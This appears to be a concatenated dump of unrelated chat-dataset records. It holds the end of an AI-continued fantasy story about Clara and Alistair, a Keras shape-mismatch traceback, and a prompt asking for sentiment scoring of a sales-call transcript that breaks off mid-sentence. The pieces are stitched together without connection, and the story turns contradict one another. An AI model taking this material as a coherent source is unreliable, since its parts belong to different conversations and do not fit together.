dark elves had retreated from the kingdom, Clara was still on the run, unaware of the events that had transpired. She continued to evade the authorities, determined to uncover the truth about the dark elves and bring them to justice.\n\nBut as she traveled, Clara began to realize that something was different. The kingdom felt changed, as if a great weight had been lifted from its shoulders. She heard whispers of a new king, one who was kind and just, and who had brought peace to the land.\n\nDespite her initial skepticism, Clara couldn\'t help but be drawn to these stories, and she began to wonder if perhaps her quest was over. She had been fighting for so long, and she was exhausted and weary. Was it finally time for her to lay down her sword and rest?\n\nClara didn\'t know the answer, but she continued to travel, searching for answers and trying to make sense of the new world around her. She was no longer sure of her place in it, but she was determined to find out, no matter what it took.\n\nAvatar of the person chatting\nContinue the story, telling of Clara\'s journey to meet the king, Alistair.\n\nClara\'s journey to meet the new king, Alistair, was filled with uncertainty and doubt. She had been on the run for so long, and she wasn\'t sure what to expect when she finally met the man who had taken the throne.\n\nAs she traveled, Clara encountered many people who had been touched by Alistair\'s rule, and she heard countless stories of his kindness and justice. She was surprised by the change in the kingdom, and she couldn\'t help but feel a growing sense of hope.\n\nFinally, after many long weeks of travel, Clara arrived at the gates of the royal palace, where she was greeted by the king himself. Alistair was everything that Clara had heard and more, and she was struck by his wisdom and compassion.\n\nAs they talked, Clara began to understand the true extent of Alistair\'s power, and she realized that he was the key to finally bringing peace to the kingdom. She vowed to serve him, and to help him build a better future for all the people of Graniphor. Together, they would conquer the darkness and restore order to the land.\n\nAvatar of the person chatting\nTry that again, noting that Clara knows Alistair well and has been travelling with him. She doesn\'t know the king is Alistair until she seems him.\n\nClara had been traveling with Alistair for many weeks, but she had no idea that he was the new king of Graniphor. She had been on the run for so long, and she had never expected to find a friend like Alistair.\n\nAs they journeyed together, Clara began to see the changes in the kingdom, and she heard countless stories of the new king\'s kindness and justice. She was filled with hope and wonder, and she couldn\'t help but feel drawn to the man who had brought peace to the land.\n\nFinally, after many long weeks of travel, Clara arrived at the gates of the royal palace, where she was greeted by the king himself. She was shocked to see that it was Alistair, and she couldn\'t believe that her friend was the most powerful man in the kingdom.\n\nAs they talked, Clara realized that Alistair was the key to finally bringing peace to the kingdom. She vowed to serve him, and to help him build a better future for all the people of Graniphor. Together, they would conquer the darkness and restore order to the land.\n\nAvatar of the person chatting\nUsing conversation and drama, tell the story of Clara and Alistair\'s wedding and the disastrous aftermath.\n\nClara and Alistair\'s wedding was a joyous occasion, celebrated by the people of Graniphor as the beginning of a new era of peace and prosperity. The bride and groom were radiant, and they exchanged vows beneath a beautiful archway of flowers.\n\nAs they danced at their reception, surrounded by friends and loved ones, Clara and Alistair were the happiest they had ever been. But their joy was short-lived, as a messenger arrived with terrible news.\n\nThe dark elves, driven into hiding by Alistair\'s rule, had emerged from the shadows with a vengeance. They had attacked the kingdom\'s border cities, and they were marching on the capital.\n\nClara and Alistair knew that they had to act quickly if they were to save their people. They gathered their most trusted allies, and they rode out to meet the dark elves in battle.\n\nThe fighting was fierce, and many brave warriors fell. But in the end, Clara and Alistair emerged victorious, thanks to their bravery and skill.\n\nBut their victory was bittersweet, as they returned to the capital to find that the dark elves had laid waste to the city in their absence. Clara and Alistair knew that they had much work to do if they were to rebuild their kingdom and protect their people from the darkness that threatened them.\n\nAvatar of the person chatting\nTell the story of the building of the new capitol. What do they choose to name it? Use lots of dialog between Alistair and Clara. Alistair and Clara\'s tensions are running high and they aren\'t getting along very well, though they love each other and must stay married.\n\nAs Clara and Alistair surveyed the ruins of the old capital, they knew that they had a daunting task ahead of them. They would need to rebuild the city from the ground up, and they would have to do it quickly if they were to protect their people from further attacks by the dark elves.\n\n"What should we name the new city?" Clara asked, looking to Alistair for guidance.\n\n"I don\'t know," Alistair replied, his brow furrowed in thought. "It needs to be a strong name, one that will inspire our people and strike fear into the hearts of our enemies."\n\n"How about \'Graniphor\'s Glory\'?" Clara suggested, trying to lighten the mood.\n\n"That\'s a bit too pompous," Alistair said with a smile. "How about \'New Horizon\'?"\n\n"I like that," Clara said, nodding in agreement. "It symbolizes the hope and possibility of a new beginning for our kingdom."\n\nAnd so it was that the new capital was named New Horizon, and the rebuilding began in earnest. Clara and Alistair worked tirelessly, and they soon saw their vision become a reality.\n\nBut despite their best efforts, tensions between them continued to rise. They loved each other deeply, but they were both strong-willed leaders, and they often found themselves at odds with each other. It was a constant struggle to find a balance between their personal and professional lives.\n\nBut in the end, Clara and Alistair knew that they were stronger together than they were apart, and they continued to build their new kingdom, determined to create a better future for their people.\n\nAvatar of the person chatting\n2 / 2Continue the story, and include scenes of the construction of the new capitol. Tell me where the new location of the capitol is, and why they decided to move it to another city site. Use the same style as before. Include some bickering.\n\nAs Clara and Alistair oversaw the construction of New Horizon, they often found themselves at odds with each other. Alistair wanted to build the city in a strategic location, close to the mountains, where it would be easy to defend against potential attacks. Clara, on the other hand, wanted to build the city in a more central location, where it would be more accessible to the majority of their people.\n\n"We can\'t build the city in the mountains, Alistair," Clara argued. "It would be too difficult for our people to reach, and it would be isolated and vulnerable."\n\n"But if we build it in the valley, it will be an easy target for our enemies," Alistair countered. "We need to be able to defend our people, Clara."\n\n"I understand that, but we also need to consider their quality of life," Clara said. "We can\'t make them live in a fortress, Alistair. They deserve better than that."\n\nIn the end, they compromised and decided to build the city in a location that offered the best of both worlds: a fertile valley with a river running through it, and close enough to the mountains for easy defense.\n\nAs the city took shape, Clara and Alistair continued to bicker, but they never let their differences get in the way of their ultimate goal: to create a better future for their people. And as the city grew, so too did their love for each other, despite the challenges they faced.\n\nAvatar of the person chatting\nContinue in the same style, and tell me of the grand wonders constructed in the city in the valley.\n\nAs the construction of New Horizon continued, Clara and Alistair set their sights on creating grand wonders that would make the city truly unique. They built soaring towers that reached towards the sky, each one topped with a gleaming crystal that caught the sunlight and shone like a beacon. They also constructed vast gardens, filled with exotic plants and flowers from across the continent, which provided a peaceful oasis in the midst of the bustling city.\n\nBut the most impressive of all was the Great Library, a massive building filled with books and knowledge from all over the world. It was a place where scholars and students could come to learn and discover, and where the wisdom of the ages was preserved for future generations.\n\nDespite their disagreements, Clara and Alistair worked together to create a city that was a true testament to their people\'s ingenuity and resilience. And as they stood on the balcony of their palace and looked out at the city they had built, they knew that they had achieved something truly remarkable.\n\nAvatar of the person chatting\nAlistair has unknowingly become stricken with magic that will transform him into an evil dark elf. It is revenge, delivered from the dark gods. Continue the story in the same style, using dialog and suspense, as Clara discovers Alistair\'s tragic fate.\n\nAs the weeks passed, Clara began to notice a strange change in Alistair. He became distant and cold, and would often disappear for hours on end without telling her where he was going. At first, Clara tried to brush it off as stress from ruling the kingdom, but as the changes grew more pronounced, she knew something was seriously wrong.\n\nOne day, Clara followed Alistair to a hidden chamber deep within the palace. There, she found him standing before an altar to the dark gods, his body writhing and contorting as he was consumed by a dark magic.\n\nHorrified, Clara watched as Alistair\'s body was transformed into that of a dark elf, his once-handsome features twisted into a grotesque mockery of his former self. With a scream of rage and despair, Clara attacked Alistair, but he was too powerful for her to defeat.\n\nAs she stood there, tears streaming down her face, Clara knew that she had lost the man she loved, and that the kingdom was now in the hands of a monster. But she also knew that she would never give up, and that she would do whatever it took to stop Alistair and the dark elves from enslaving the world.\n\nAnd so, with a fierce determination in her heart, Clara set out on a new quest, one that would take her to the very heart of the dark elves\' power, and where she would face her greatest challenge yet.\n\nAvatar of the person chatting\nThen, Clara awoke at the top of the Angrim mountain, fresh from a hallucination. Alistair\'s face looks down at her. Please continue the story from there.\n\nAs Clara regained her composure, she looked up at Alistair, who was smiling down at her. "I\'m glad to see you\'re alright," he said. "I was worried about you."\n\nClara frowned, still confused by the strange vision she had just experienced. "What just happened?" she asked. "I saw you...you were a dark elf."\n\nAlistair\'s smile faltered slightly. "It was just a hallucination, Clara," he said. "The climb up this mountain is tough, and it can do strange things to the mind. Don\'t worry, I\'m still the same Alistair you know and love."\n\nBut Clara wasn\'t convinced. She couldn\'t shake the feeling that there was something off about Alistair, something that she couldn\'t quite put her finger on.\n\n"I\'m sorry," she said, "I don\'t know what came over me. I just..."\n\n"It\'s alright," Alistair said, cutting her off. "Let\'s just focus on the task at hand. We need to retrieve the Frostbrand sword and complete your third trial. Are you ready?"\n\nClara nodded, pushing her doubts to the back of her mind. She couldn\'t let herself be distracted right now. She had a mission to complete, and she was determined to see it through to the end, no matter what.\n\nTogether, Clara and Alistair made their way to the top of the mountain, where they found the Frostbrand sword embedded in a block of ice. As Clara pulled the sword free, a fierce blizzard erupted around them, but they pushed on, determined to finish the trial.\n\nEventually, they reached the portal to the plane of elemental ice, where they faced the ice demon king. Despite the challenges they faced, Clara and Alistair were able to defeat the ice demon and claim victory.\n\nAs they made their way back down the mountain, Clara couldn\'t shake the feeling that something was still off about Alistair. But she pushed the thought aside, focusing instead on the tasks ahead. She had four more trials to complete before she could confront the king and the dark elves, and she wasn\'t going to let anything stand in her way.\n\nAvatar of the person chatting\nPlease continue the story in the same manner. That was really good.\n\nThank you. As Clara woke up, she realized that it had all just been a nightmare. She breathed a sigh of relief and looked up at Alistair, who was standing over her with a concerned expression on his face. "Are you okay?" he asked.\n\n"Yeah, I\'m fine," Clara said, rubbing her eyes. "Just a bad dream."\n\n"What was it about?" Alistair asked, offering her a hand to help her up.\n\n"It was about you," Clara said, taking his hand and standing up. "You were turning into a dark elf, and there was nothing I could do to stop it."\n\nAlistair\'s face paled at the thought. "That\'s not going to happen," he said firmly. "I would never let that happen."\n\n"I know," Clara said, giving him a reassuring smile. "But it was still a scary dream. Let\'s just put it behind us and focus on the task at hand."\n\n"Agreed," Alistair said, nodding. "We have a lot of work to do to rebuild this kingdom and make it strong again. We can\'t afford to be distracted by nightmares."\n\nTogether, Clara and Alistair set off to continue their journey, determined to build a better future for their people and protect them from the dangers that lurked in the shadows.\n\nAvatar of the person chatting\nHmm, continue it from after they go down the mountain, when Clara goes on her next trial. Keep the part about how something seems off about Alistair. Alistair is wearing a wedding band.\n\nClara and Alistair made their way down the mountain, relieved to have survived the treacherous climb. However, Clara couldn\'t shake the feeling that something was off about Alistair. She couldn\'t put her finger on it, but he seemed different somehow.\n\nAs they walked, Clara noticed that Alistair was wearing a wedding band. She couldn\'t remember him having one before.\n\n"Alistair, when did you start wearing a wedding band?" Clara asked.\n\nAlistair looked down at his hand, surprised. "I don\'t know. I must have picked it up on the mountain," he said, shrugging it off.\n\nBut Clara couldn\'t shake the feeling that something was wrong. She decided to keep a closer eye on Alistair as they continued on their journey.\n\nTheir next trial was to retrieve a powerful magic artifact from the ruins of an ancient temple. Clara and Alistair braved treacherous forests and dark caves, fighting off all manner of creatures and overcoming obstacles along the way.\n\nAs they entered the temple, Clara noticed that Alistair\'s behavior became increasingly erratic. He would sometimes go off on his own, disappearing for long stretches of time. When Clara confronted him about it, he would brush her off and say that he was just exploring.\n\nEventually, they reached the chamber where the magic artifact was said to be hidden. But when they entered, they were ambushed by a group of dark elves.\n\nClara fought bravely, but was no match for their magic. She was knocked unconscious, and when she awoke, she found herself alone and the magic artifact gone.\n\nAs she searched for Alistair, she stumbled upon a hidden chamber deep within the temple. Inside, she found Alistair, now transformed into a dark elf.\n\n"Alistair, what happened to you?" Clara asked, horrified.\n\n"I have been chosen by the dark gods to serve as their agent in the mortal world," Alistair said, his voice now cold and emotionless. "And now, Clara, you must die."\n\nClara and Alistair engaged in a fierce battle, but in the end, Clara was able to defeat him. As she stood victorious, she realized that the dark magic that had consumed Alistair was now within her as well.\n\nClara knew that she would have to find a way to rid herself of the dark magic, or risk becoming a danger to everyone she loved. And so, she set out on a new quest, determined to save herself and the kingdom from the forces of darkness.\n\nAvatar of the person chatting\nThen Clara awoke, at camp, outside the temple. She remembered facing the dark elves. She saw Alistair, sleeping beside her. They had grown very close these last few days. Had they always been this close? Had he always had that wedding band? She hadn\'t recalled one when she and him first spent the night together. She was having bad dreams about Alistair turning into a dark elf. What could that possibly be about? Please continue the story.\n\nAs Clara sat up in her bedroll, trying to shake off the remnants of her nightmare, she couldn\'t help but feel a sense of unease. She glanced over at Alistair, who was still sleeping peacefully, his chest rising and falling in the early morning light. She couldn\'t shake the feeling that something was off about him, that there was something hidden beneath the surface that she couldn\'t quite put her finger on.\n\nShe remembered the wedding band she had seen in her dream, and she reached out tentatively to touch his hand. Sure enough, there it was - a golden ring on his finger, glinting in the sunlight. She frowned, confused. When had he gotten married? Why hadn\'t he told her?\n\nSuddenly, Alistair\'s eyes snapped open, and he sat up with a start. "Clara," he said, his voice thick with sleep. "What\'s wrong? Why are you looking at me like that?"\n\n"I... I had a nightmare," Clara said, still trying to make sense of the situation. "It was about you turning into a dark elf. It was so vivid, it felt like it was really happening."\n\nAlistair\'s face paled, and he looked away. "I... I can\'t explain it," he said, his voice barely above a whisper. "But I promise you, Clara, I would never hurt you. I would never turn into a dark elf. You have to believe me."\n\nBut Clara wasn\'t so sure. She couldn\'t shake the feeling that something was very wrong, that the dream had been trying to warn her about something. She made a decision then and there. She would have to keep a close eye on Alistair, to make sure that he didn\'t turn into the monster from her nightmare.\n\nBut for now, they had a quest to complete. They needed to retrieve the magic artifact from the ruins of the ancient temple, and they couldn\'t afford to be distracted by her fears. She pushed the thoughts to the back of her mind and focused on the task at hand, determined to see it through to the end.\n\nAs they set off into the treacherous forests and dark caves, Clara couldn\'t help but feel a sense of foreboding. She knew that she would have to face her fears eventually, but for now, she would focus on the task at hand and try to keep her doubts at bay.\n\nAvatar of the person chatting\n2 / 2Continue the story from the scene outside the temple (which occurred after the Angrim mountain), describing what happens as Clara ventures overland, eventually destined to arrive at her next trial, which is the journey to the fabled city of the gods.\n\nAs Clara and Alistair set out on their journey to the fabled city of the gods, they began to notice that something seemed off about their surroundings. The trees seemed to be twisted and distorted, and the animals they encountered were strange and frightening. Clara had a feeling of dread in her stomach, as if they were being watched by unseen eyes.\n\nAs they traveled further, they came across a group of goblins, who attacked them without warning. Clara and Alistair fought bravely, but they were vastly outnumbered. Just when they thought they were going to be overpowered, a group of dwarves appeared from the forest and joined the fight. Together, they were able to defeat the goblins and drive them off.\n\nThe dwarves introduced themselves as members of the Thunderforge clan, and thanked Clara and Alistair for their help in defending them. They invited the two of them to come with them to their stronghold, where they could rest and recover from their ordeal. Clara and Alistair agreed, and they set off together.\n\nAs they traveled with the dwarves, Clara couldn\'t shake the feeling that something was wrong with Alistair. She tried to talk to him about it, but he brushed her off and said he was fine. But Clara could see the darkness in his eyes, and she knew that something was very wrong.\n\nWhen they finally reached the stronghold of the Thunderforge clan, they were greeted warmly by the clan leader, a wise and powerful dwarf named Brondar. He offered them food and shelter, and asked them about their journey. Clara told him about their quest to reach the city of the gods, and he nodded in understanding.' +'my shapes are same as you said but this script throws big error\n\nInvalidArgumentError Traceback (most recent call last)\nCell In[150], line 1\n----> 1 metrics = model.evaluate([X\\_test, RPM\\_test], y\\_test, batch\\_size=256)\n\nFile ~\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\utils\\traceback\\_utils.py:70, in filter\\_traceback..error\\_handler(\\*args, \\*\\*kwargs)\n 67 filtered\\_tb = \\_process\\_traceback\\_frames(e.\\_\\_traceback\\_\\_)\n 68 # To get the full stack trace, call:\n 69 # `tf.debugging.disable\\_traceback\\_filtering()`\n---> 70 raise e.with\\_traceback(filtered\\_tb) from None\n 71 finally:\n 72 del filtered\\_tb\n\nFile ~\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\tensorflow\\python\\eager\\execute.py:52, in quick\\_execute(op\\_name, num\\_outputs, inputs, attrs, ctx, name)\n 50 try:\n 51 ctx.ensure\\_initialized()\n---> 52 tensors = pywrap\\_tfe.TFE\\_Py\\_Execute(ctx.\\_handle, device\\_name, op\\_name,\n 53 inputs, attrs, num\\_outputs)\n 54 except core.\\_NotOkStatusException as e:\n 55 if name is not None:\n\nInvalidArgumentError: Graph execution error:\n\nDetected at node \'mean\\_squared\\_error/SquaredDifference\' defined at (most recent call last):\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\runpy.py", line 194, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\runpy.py", line 87, in \\_run\\_code\n exec(code, run\\_globals)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\_launcher.py", line 17, in \n app.launch\\_new\\_instance()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\traitlets\\config\\application.py", line 992, in launch\\_instance\n app.start()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelapp.py", line 712, in start\n self.io\\_loop.start()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\tornado\\platform\\asyncio.py", line 215, in start\n self.asyncio\\_loop.run\\_forever()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\asyncio\\base\\_events.py", line 570, in run\\_forever\n self.\\_run\\_once()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\asyncio\\base\\_events.py", line 1859, in \\_run\\_once\n handle.\\_run()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\asyncio\\events.py", line 81, in \\_run\n self.\\_context.run(self.\\_callback, \\*self.\\_args)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelbase.py", line 510, in dispatch\\_queue\n await self.process\\_one()\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelbase.py", line 499, in process\\_one\n await dispatch(\\*args)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelbase.py", line 406, in dispatch\\_shell\n await result\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\kernelbase.py", line 730, in execute\\_request\n reply\\_content = await reply\\_content\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\ipkernel.py", line 383, in do\\_execute\n res = shell.run\\_cell(\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\ipykernel\\zmqshell.py", line 528, in run\\_cell\n return super().run\\_cell(\\*args, \\*\\*kwargs)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 2940, in run\\_cell\n result = self.\\_run\\_cell(\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 2995, in \\_run\\_cell\n return runner(coro)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\async\\_helpers.py", line 129, in \\_pseudo\\_sync\\_runner\n coro.send(None)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 3194, in run\\_cell\\_async\n has\\_raised = await self.run\\_ast\\_nodes(code\\_ast.body, cell\\_name,\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 3373, in run\\_ast\\_nodes\n if await self.run\\_code(code, result, async\\_=asy):\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\IPython\\core\\interactiveshell.py", line 3433, in run\\_code\n exec(code\\_obj, self.user\\_global\\_ns, self.user\\_ns)\n File "C:\\Users\\yp229\\AppData\\Local\\Temp\\ipykernel\\_980\\3515400628.py", line 2, in \n scores = model.evaluate([X\\_test, RPM\\_test], y\\_test, verbose=0)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\utils\\traceback\\_utils.py", line 65, in error\\_handler\n return fn(\\*args, \\*\\*kwargs)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 2040, in evaluate\n tmp\\_logs = self.test\\_function(iterator)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1820, in test\\_function\n return step\\_function(self, iterator)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1804, in step\\_function\n outputs = model.distribute\\_strategy.run(run\\_step, args=(data,))\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1792, in run\\_step\n outputs = model.test\\_step(data)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1758, in test\\_step\n self.compute\\_loss(x, y, y\\_pred, sample\\_weight)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\training.py", line 1082, in compute\\_loss\n return self.compiled\\_loss(\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\engine\\compile\\_utils.py", line 265, in \\_\\_call\\_\\_\n loss\\_value = loss\\_obj(y\\_t, y\\_p, sample\\_weight=sw)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\losses.py", line 152, in \\_\\_call\\_\\_\n losses = call\\_fn(y\\_true, y\\_pred)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\losses.py", line 284, in call\n return ag\\_fn(y\\_true, y\\_pred, \\*\\*self.\\_fn\\_kwargs)\n File "C:\\Users\\yp229\\anaconda3\\envs\\myenv\\_time\\lib\\site-packages\\keras\\losses.py", line 1500, in mean\\_squared\\_error\n return backend.mean(tf.math.squared\\_difference(y\\_pred, y\\_true), axis=-1)\nNode: \'mean\\_squared\\_error/SquaredDifference\'\nIncompatible shapes: [256,10] vs. [256,10,10]\n [[{{node mean\\_squared\\_error/SquaredDifference}}]] [Op:\\_\\_inference\\_test\\_function\\_3744761]' +'I want you to act as my Sentiment Analysis assistant. I am going to provide you transcripts of Customer facing calls. I would like you to provide a number between 0 and 10 for how likely you think the following statements are:\n\n- The Sales Consultant was clear on the demo delivery\n- The customer had a "WOW Moment" and was impressed by something that the Sales Consultant demo\'ed. \n\nThe internal people on this call are "Silvia" and "Federico". \nThe customers are everyone else. \n\nIf you want to also provide a summary and steps for improvement, please do. \n<------>\nTRANSCRIPT:\n\nSILVIA\n\n3:50 Everyone to be involved. Keep in mind that I will be asking questions. So pull, wow, this session is for you.\n\nFEDERICO\n\n3:58 I\'m scared.\n\nSILVIA\n\n3:59 Feel free to again, ask me. Stop me. Whatever you wanna say. I\'m open together with fic to explain you everything that has to do with the platform. This is why we\'re here. Obviously, my interest is not to speak like a TV for the next 45 minutes, please be involved. Okay?\n\nSmall Talk\n\nFEDERICO\n\n4:21 Yeah. So.\n\nSILVIA\n\n4:22 I am sharing my screen right now and you can already Peter or hello?\n\nPETER\n\n4:30 Sorry, my lap had for the last 24 hours complete problem.\n\nFEDERICO\n\n4:35 Well, that\'s okay.\n\nSILVIA\n\n4:37 On time.\n\nPETER\n\n4:38 You\'re the first people I talked and communicated since two days.\n\nFEDERICO\n\n4:43 Wow. We\'re very proud of that. Thank you man.\n\nSmall Talk ends\n\nPETER\n\n4:47 Yeah.\n\nFEDERICO\n\n4:48 That\'s a sign that\'s a good sign that\'s a sign.\n\nPETER\n\n4:52 Let\'s see, let\'s see no promises on that.\n\nFEDERICO\n\n4:55 Yeah, yeah. Yeah. Okay.\n\nANDREW\n\n4:57 Okay.\n\nFEDERICO\n\n4:57 So, just, we just started recapping very briefly what we\'ve been talking about, Peter. So this is the very first, the very first view of the platform. So you are perfectly on time.\n\nLayout & Content\n\nSILVIA\n\n5:10 All…\n\nPETER\n\n5:11 Right. Good.\n\nSILVIA\n\n5:12 Okay. So Peter, what you\'re seeing as Nabil, Lisa, Andrew on my screen right now, I\'m planning on starting with the learner experience, right? And we said here that we\'ve got so many different people that will be involved in training from blue colors, also employees. We\'re thinking about different audiences. Some of them might be more technological, some might not the good thing here about that and about Docebo in general. Is that starting from the interface after they log in, the experience is going to be as easy as you want it to be. So, assuming that maybe for blue colors, we would start with this page that you see as being their homepage, what exactly do they need to do?\n\nLayout & Content ends\n\nSILVIA\n\n6:00 They need to follow on onboarding a personalized plan to start with, then step into more soft scales, right? A course catalog where they can explore some courses and go in the direction that you want them to go. This is 100 Nabil.\n\nNABILA\n\n6:17 Yes, I need to know if there is any integration between the performance appraisal results and training, how to integrate… to plan for the plan for the, and we target to have different quarters training with skills and technical training if needed.\n\nSILVIA\n\n6:46 That is a very good question. Nabilah. So you have all this in Oracle right now? Is that correct?\n\nNABILA\n\n6:55 Yes, we have or this?\n\nSILVIA\n\n7:00 Perfect. So for that part, what we are used to do and we always like to say is that we\'re obviously not gonna do what Oracle does us.\n\nIntegrations\n\nSILVIA\n\n7:10 So you mentioned very well, they\'re an integration. So we inherit the information that you\'re sending us from Oracle for the employee profiles, the everything that has to do with the person\'s profile, right? If I\'m now a solutions consultant, but I\'m aiming to become an architect in the future, right?\n\nIntegrations ends\n\nSILVIA\n\n7:33 Same thing applies for you, right? I\'m part of GB Auto. I\'m having a role right now, but I\'m planning on advancing in my career to become more senior. That is something that we do through this integration. First of all, inheriting the roles of the person and then adapting the whole learner experience starting from this very interface. So you would know that myself, Silvia, I\'m logging in, I\'m GB Auto for the first time, you know, exactly what I need to do, what is going to be needed for me for the next step. Federico might have something completely different as in, he might see the same interface, but a different plan or different catalogues that he can browse through, right?\n\nIntegrations\n\nSILVIA\n\n8:20 So we integrate adapt and provide learning in base of what is arriving from Oracle. Okay. How we\'re going to integrate? We will be talking about this in maybe a future session. I\'d like to concentrate on the platform, right? So what\'s coming in after this integration? How we can adapt the training to them, right in today session and maybe later on discuss or involve our architects for Andrew as well on this piece of integration because we know that again, we got a full Oracle system.\n\nIntegrations ends\n\nNABILA\n\n8:56 We…\n\nSILVIA\n\n8:56 Got as well. Talent fusion business for HR. So see how we can do that?\n\nNABILA\n\n9:02 Okay. In addition, I need to know is the integration between the management and the finance. I need to know the expenses for each department related to, regarding the training… I, that regarding… the department. So I need to know… the cost of the training and if there is for each employee here, we will attend or not attend this training? I need to know the total cost of the training for each employee. Okay?\n\nSILVIA\n\n9:51 May I ask you?\n\nNABILA\n\n9:52 Yes.\n\nSILVIA\n\n9:55 How, how, where do you have that sitting somewhere else in another?\n\nNABILA\n\n9:59 I think we have an initial… finance system who the finance team record for each employee by email, whatever integration between the… academy and the finance team. The all employee who attend the training per month and then record… the expense or the cost of the training for each employee per.\n\nSILVIA\n\n10:38 Yes. So if I understand what you\'re asking, I think hearing myself here… I don\'t know if it\'s just me. Okay? Thanks.\n\nPETER\n\n10:49 No, no, there\'s an equal, ongoing. Yeah, there\'s an.\n\nSILVIA\n\n10:53 I can hear myself. And then I…\n\nPETER\n\n10:55 And…\n\nSILVIA\n\n10:59 Good. So again, on the training budget side, what we can do from an LMS standpoint, is reflect that budget through additional fields that might come from different systems.\n\nPricing\n\nSILVIA\n\n11:14 As in this training is worth. I don\'t know, I\'m inventing 500 dollars. And then in reporting, you would be able to see who attended the training\'s name the course that the user is taking plus that additional field with the price or the budget on it that\'s the maximum we can do from an LMS standpoint, managing budget.\n\nIntegrations\n\nSILVIA\n\n11:39 Obviously, that\'s why I asked, right? It\'s something that is coming from another system. It could be an ERP or some place else or even a training management system, right? So we\'re talking about different systems in here. We could potentially integrate with them as well as export that information and do the ATS in a PowerBI, right?\n\nIntegrations ends\n\nSILVIA\n\n11:58 A business intelligence tool. So it really depends on how we want to move around. This is again, the maximum we can do on that additional field. And I don\'t know, nail this answers your question or if you need more information on the side?\n\nNABILA\n\n12:13 I think… if we need to stop the employee for ask for another training. If you check if he has another, the budget for this course or not… you can have this information.\n\nSILVIA\n\n12:29 We cannot, we…\n\nNABILA\n\n12:31 Cannot…\n\nSILVIA\n\n12:31 Again… functionalities.\n\nNABILA\n\n12:35 Element…\n\nSILVIA\n\n12:37 More towards the MS. And then again, the would handle.\n\nNABILA\n\n12:40 Would handle this part. I need to ask another question. If the employee asks for a training and then the approval that from his manager, he agree about this training. So it\'s okay. So you must have the workflow between for the approval, POS between each employee who asks for the training and the high level managerial level of approval.\n\nSILVIA\n\n13:11 Yes.\n\nNABILA\n\n13:12 That is a lot of.\n\nSILVIA\n\n13:14 Yes, absolutely. Yes, that\'s something that we can do in a sense that trainings into table can be free for users to subscribe, but they can also be moderated.\n\nNotifications\n\nSILVIA\n\n13:23 As in I\'m an employee, I request to participate and then somebody else, the manager, the admin, whoever you want that person to be, approves me into training. Now that approval process is not an automated system is just the yes or no, the click of a button. The checks in the back need obviously to be done.\n\nPayment Gateway\n\nSILVIA\n\n13:46 If we\'re thinking of a workflow, we can potentially do that to use our, we\'ve mentioned it very briefly, probably last time.\n\nNABILA\n\n13:55 Or…\n\nSILVIA\n\n13:55 I pass.\n\nNABILA\n\n13:56 Or…\n\nSILVIA\n\n13:57 So we have a tool that might do you check or create some workflows in the background. It\'s…\n\nNABILA\n\n14:03 Practice. Okay. Only the integration, I need also to know how to pay for external training for external training, the external training, I pay for it. If we need to have a training from external supplier vendors. So I will pay for it. So.\n\nSILVIA\n\n14:32 You mean?\n\nNABILA\n\n14:34 Maybe internal or external… for each internal employees, internal Instructor who has the ownership for the lead to the training force… internal training. Okay. Go ahead.\n\nSILVIA\n\n14:58 Let me see if I got this straight. So, I\'m an employee… there\'s a thing happening. I request it. Somebody needs to approve me afterwards or you need to create the course after I requested. How would you see this process? Can you describe me a flow? I\'m 